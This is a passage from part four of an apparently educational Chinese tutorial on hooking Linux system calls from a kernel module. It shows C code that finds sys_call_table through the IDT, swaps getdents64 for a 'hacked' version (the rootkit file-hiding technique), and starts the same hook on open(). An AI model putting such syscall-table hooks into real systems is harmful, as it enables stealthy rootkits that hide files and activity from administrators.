设为首页 加入收藏

TOP

Linux内核Hook系统调用(四)
2014-11-24 03:24:54 来源: 作者: 【 】 浏览:7
Tags:Linux 内核 Hook 系统 调用
}
}
}

printk(KERN_ALERT "can't find the address of sys_call_table\n");
return -1;
}
int init_module(void)
{
__asm__ volatile ("sidt %0": "=m" (idt48));

struct descriptor_idt *pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

base_system_call = (pIdt80->offset_high<<16 | pIdt80->offset_low);

printk(KERN_ALERT "system_call address at 0x%x\n",base_system_call);

SYS_CALL_TABLE_ADDR=get_sys_call_table();

sys_call_table=(void **)SYS_CALL_TABLE_ADDR;

orig_getdents64=sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64]=hacked_getdents64;

return 0;
}


void cleanup_module()
{
sys_call_table[__NR_getdents64]=orig_getdents64;
}


3,截获open


#ifndef MODULE
#define MODULE
#endif

#ifndef __KERNEL__
#define __KERNEL__
#endif
#include
#include
#include
#include
#include
#include
/*
#include
#include
#include
#include
#include
#include
#include
#include
*/
MODULE_LICENSE("GPL");
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};
static struct {
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;


static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int base_system_call;
int (*orig_open)(const char *pathname,int flag,mode_t mode);
unsigned char opcode_call[3]={0xff,0x14,0x85};
int match(unsigned char *source)
{
int i;
for(i=0;i<3;i++){
if(source[i] != opcode_call[i])
return 0;
}
return 1;
}
int get_sys_call_table(void)
{
int i,j;
unsigned char *ins=(unsigned char *)base_system_call;
unsigned int sct;

for(i=0;i<100;i++){
if(ins[i]==opcode_call[0]){
if(match(ins+i)){
sct=*((unsigned int *)(ins+3+i));
printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
return sct;
}
}
}

首页 上一页 1 2 3 4 下一页 尾页 4/4/4
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇通用编程语言 Gosu 下一篇Linux高级内核Inline HOOK

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

·MySQL 安装及连接-腾 (2025-12-25 06:20:28)
·MySQL的下载、安装、 (2025-12-25 06:20:26)
·MySQL 中文网:探索 (2025-12-25 06:20:23)
·Shell脚本:Linux Sh (2025-12-25 05:50:11)
·VMware虚拟机安装Lin (2025-12-25 05:50:08)